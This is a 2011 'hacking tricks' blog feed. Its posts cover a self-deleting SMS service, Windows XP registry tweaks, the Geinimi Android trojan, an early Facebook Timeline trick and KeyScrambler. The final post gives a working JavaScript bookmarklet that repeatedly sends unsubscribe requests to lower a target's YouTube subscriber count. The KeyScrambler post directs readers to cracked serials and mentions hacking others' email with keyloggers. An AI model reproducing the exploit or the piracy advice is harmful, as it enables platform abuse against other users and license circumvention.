Note: If you want to use ultrasurf with other applications you need to configure them to use ultrasurf as their proxy client. The Proxy IP address is 127.0.0.1 and the Port is 9666.

SMS which destructs.....it self

noreply@blogger.com (CWG2022) — Sun, 02 Oct 2011 15:09:00 +0000

In this post i will tell you how to send a self deleting SMS to any mobile that is automatically deleted after user reads it.

Basically this technique is called SAFE-TEXT. It's a technique where a message destroys itself after being read. If you want to call it the Data-centric Suicide Message, that's fine too. This is a website that allows you to send such type of sms for free of cost after registering on it. But it has limitation that you can send only 10 SMS a day.

So here's the thing. With Wikileaks on one side and British libel law on the other, there's room for a tool that lets you say what needs to be said, but without it falling into the wrong hands in the process.

What it does is allow you to send an expletive-laden opinion of your boss to a co-worker, or an it's-in-the-public's-interest-to-know-this leak to your friend on the Guardian (or Wired), without it having a chance to be read by said boss, or unsaid MP.

Note: This trick should only work for British mobile network operators.

Here’s how to use it:

To register and activate, text WIRED to 83118 (charged at your standard network rate). You’ll be able to send up to 10 messages daily.
If you’re the sender, the message will show your name and number.
Write your libel-ridden hate speech and hit send.
The receiver will then be sent a text telling them they have been sent a Wired Safe Text with a link to the mobile internet site that hosts your message.

When they click through they will activate Safe Text. They will only have a few seconds to read the text (so don’t make it too long) before it self-destructs.

Hacking Windows XP

noreply@blogger.com (CWG2022) — Sun, 02 Oct 2011 15:04:00 +0000

Windows XP, arguably the world's most popular operating system, still has lots of tricks up its sleeve. Today I will show you some hidden rooms, some unknown corners in this column that you never knew existed but wanted to. Without much ado lets login to the wonderful hidden world of Windows XP.

1. Deleting System Softwares

XP hides some system software you might want to remove, such as Windows Messenger, but you can tickle it and make it disgorge everything. Using Notepad or Edit, edit the text file /windows/inf/sysoc.inf, search for the word 'hide' and remove it. You can then go to the Add or Remove Programs in the Control Panel, select Add/Remove Windows Components and there will be your prey, exposed and vulnerable.

2. Modify autoplay for different types of CD

Windows XP includes the ability to perform different actions depending on the type of CD you insert into the drive. For example, you could set your system to always respond to CDs containing MP3 files by opening Windows Media Player.

To edit the Autoplay properties: Open 'my computer'. Right click on the drive you wish to set and select 'properties'. Choose the autoplay tab. Use the dropdown box to see the various recognized types of CD and choose appropriate actions for them.

3. Creating a desktop shortcut for locking your pc !

If you use your computer in an area where others may have access to it, and there are things on your system you would rather have kept confidential, locking your desktop when you leave the computer is an essential task. Here's a recipe for a desktop shortcut that will lock your computer in two easy clicks:

Right click on an empty area of the desktop and choose 'new' then 'shortcut.' The create shortcut wizard will open; in the first text box, type '%windir%\System32\rundll32.exe user32.dll,LockWorkStation' and then give your shortcut an appropriate name on the next page, and hit 'finish.'

You will notice that the shortcut you created has a blank icon. To select a more appropriate one, right click on the shortcut and hit 'properties.' In the 'shortcut' tab, click the 'change icon' button.

In the 'look for icons in this file' box, type '%SystemRoot%\system32\SHELL32.dll' then click 'ok' to see a range of icons for your new shortcut. Choose an appropriate icon. Your desktop locking shortcut is now ready for use. Test it out.

4. Creating Shutdown Icon or One Click Shutdown:

Navigate to your desktop. On the desktop, right-click and go to New, then to Shortcut (in other words, create a new shortcut). You should now see a pop-up window instructing you to enter a command line path.
Use this path in "Type Location of the Item"
SHUTDOWN -s -t 01
If the C: drive is not your local hard drive, then replace "C" with the correct letter of the hard drive. Click the "Next" button. Name the shortcut and click the "Finish" button. Now whenever you want to shut down, just click on this shortcut and you’re done.

5. Removing Shared Documents folder From My Computer

Open registry editor by going to Start then Run and entering regedit. Once in registry, navigate to key

HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Explorer \ My Computer \ NameSpace \ DelegateFolders

You must see a sub-key named {59031a47-3f72-44a7-89c5-5595fe6b30ee}. If you delete this key, you have effectively removed the my shared documents folder.

6. Renaming The Recycle Bin icon:

To change the name of the Recycle Bin desktop icon, click Start then goto Run, write Regedit and press Enter. It opens Registry Editor. Now in Registry Editor go to:

HKEY_CLASSES_ROOT/CLSID/{645FF040-5081-101B-9F08-00AA002F954E}
and change the name "Recycle Bin" to whatever you want (don’t type any quotes).

7. Force windows XP to reboot upon crashing

This registry edit will cause your system to reboot itself automatically upon crashing. This can be useful if you have a reason for keeping your system on 24/7:

Open REGEDIT

Navigate to 'HKEY_LOCAL_MACHINE\SYSTEM
\CurrentControlSet\Control\CrashControl'

Edit the 'AutoReboot' value to '1'

8. Locking the desktop

If you are leaving your computer for a while and do not wish to turn it off, but want to assure that no-one else can use the computer while you are away, locking the desktop is the best option.

By pressing WINDOWSKEY+L, you password protect your system just as if you had logged out or restarted the computer. The advantage is that any programs or processes that were running when you locked the desktop will stay open and running in the background, ready for you to resume work or play.

Ways of Working and What is Trojan Android

noreply@blogger.com (CWG2022) — Tue, 27 Sep 2011 08:23:00 +0000

First, how this trojan could be in our phones?

The answer is because the lack of attention to activities related to the Internet. Example in terms of download games or applications.

Then, what was wrong with the game or an application that we have downloaded?

Because the manufacturer Geinimi ‘package’ repeated legal Android applications (especially games) with Trojan Geinimi. Packaging Applications with Android Geinimi Trojan is then redistributed to the sites.

This is how the operations are performed when Geinimi successfully infect your Android phone:

* Send your Android device coordinates

* Send an apparatus Identity (IMEI) and the identity of the SIM card (IMSI)

* Download and ask users to install an application

* Ask the user for a number of applications to remove

* Registration and details of programs installed on a remote server

So, what solutions or suggestions on how to avoid Geinimi Trojan?

* Download the application only from a trusted application store. Earlier Check the name of the application developers and product reviews.

* Check the permissions to request an application. Make sure that the requested access rights in accordance with the above functions.

* Note the “code” your Android phone. The phone is infected with malware is usually funny as menelpun act or automatically via SMS to recipients who are not familiar and mysterious application that is installed without your knowledge.

* If your phone is found to behave erratically, it is advisable to install security applications on your phone to check.

Be very careful friends ^ ^

How To Activate Timeline In Facebook Before others Get It

noreply@blogger.com (CWG2022) — Mon, 26 Sep 2011 16:34:00 +0000

In this post I will show you how to activate timeline in your Facebook before others Get it.The trick is that you become a developer of Facebook.Till the feature becomes accessible to others only developers will be able to view your profile with activated timeline.
To be eligible you have to conform you accountwith your mobile number or creditcard.
WHAT TO DO?
1)Go to Facebook.com.In the search bar type developer and then select the App first.

2)Click Allow if a page appears which should take you to another page.In the Right top side you will see an option to create an Application .Click on that.It should open a window like:

3)In the Appspace Name type "techtree"+anyalphabets.For eg techtreeacd.
4)Agree to the terms&Click continue.
5)Type in the security words.
6)You will be navigated to another page which will be like this:-

7)Click on open graph in the left side.
8)In that type in the First coloumn "Track" and "satellite" in the second one.

9)Click get started and click on save in the bottom of the next the page and continue this to get a page with page name Aggregation and an option of save and finish .

Then go to your facebook profile and you will have a button on top showing GET IT NOW.Thats it .Click on that button and you will have timeline activated.
Thank you for reading.If you like it just share it.Sharing knowledge is fun..................
Visit my profile. http://www.facebook.com/judeosby
Feel free to post comments

Keyscrambler to protect You

noreply@blogger.com (CWG2022) — Fri, 23 Sep 2011 15:00:00 +0000

I have earlier posted about how to hack anyone's email account with keyloggers.When you study an attack method then you have to study the defense attack for that.There is a chance for yourself getting attacked.In this post I will show you how to protect yourself.

KeyScrambler can display a small overlay window on top of your browser screen that verifies that your keystrokes are being encrypted. The program is very easy to use and protects you automatically whenever you launch your browser. KeyScrambler Personal only works with Internet Explorer, Firefox and Flock, there are optional Pro versions available that offer support for additional browsers and other applications.

Anti keylogger protection for your browser

1. Download Keyscrambler software

2. Run "KeyScramblerPro_Setup.exe" file on your computer and complete installation. Restart your computer to allow Keyscrambler to start its working.

3. On restart, Keyscrambler will ask for Registration information. Read "Top Sites to Find All The Serials You Need" or "How To Get Cracks and Serials to Any Program using Craagle" to find a serial number for Keyscrambler, enter information and hit "Verify".You have those articles on the site itself.

4. Thats it. Now, Keyscrambler application will start encrypting your typed keystrokes on your computer thus, protecting you from invisible keyloggers. To check its working, simply go to say www.gmail.com and enter will email id-password. You will see Overlay Window at top left showing the encrypted value of your typed keystrokes.

What's more, KeyScrambler provides protection without getting in your way. You don't have anything to learn about the program and you don't have to do anything differently, but with KeyScrambler your important personal information will be a whole lot safer.

Lower Someones Subscription Count

noreply@blogger.com (CWG2022) — Mon, 19 Sep 2011 10:10:00 +0000

YouTube is the largest video-sharing website on which users can upload, share, and view videos. When you subscribe to someone, you are constantly updated on which of your favorites (the people you subscribe to) has uploaded a new video. That way, you don't have to constantly search for their username, you just have a convenient list of the tubers you like the best. But there are users that are paying for great promotion on their videos on YouTube, and they are getting a lot of subscriber, which in fact they don't deserve to have it. So here i will show you how to lower someone's subscription count on YouTube. It's very simple method, but totally worth it.

LETS START

You have to subscribe to them. Next, enter this code into the address bar: javascript:function unsubscribe() { httpreq=new XMLHttpRequest(); httpreq.open('post', '/ajax_subscriptions?edit_subscription=newsub&username='+username+'&subscription_level=unsubscribe', false); httpreq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); httpreq.send('session_token='+yt.getConfig('SUBSCRIBE_AXC')); if(!httpreq.responseXML) { setTimeout('unsubscribe()', timeout); return; } if(httpreq.responseXML.getElementsByTagName('html_content')[0].childNodes[0].nodeValue!='<h2>You have successfully unsubscribed.</h2>') { alert(httpreq.responseXML.getElementsByTagName('html_content')[0].childNodes[0].nodeValue); } else if((window.status=++count)!=times) { setTimeout('unsubscribe()', timeout); } else { alert('DUN'); } } count=0; if((username=prompt('enter target\'s username', 'Fred'))!=null) { if(!isNaN(timeout=parseInt(prompt('enter timeout in milliseconds', 250)))) { if(!isNaN(times=parseInt(prompt('enter num of times to unsubscribe (0 = unlimited)', 0)))) { unsubscribe(); } } } void(0);

That's it.

BE HAPPY :)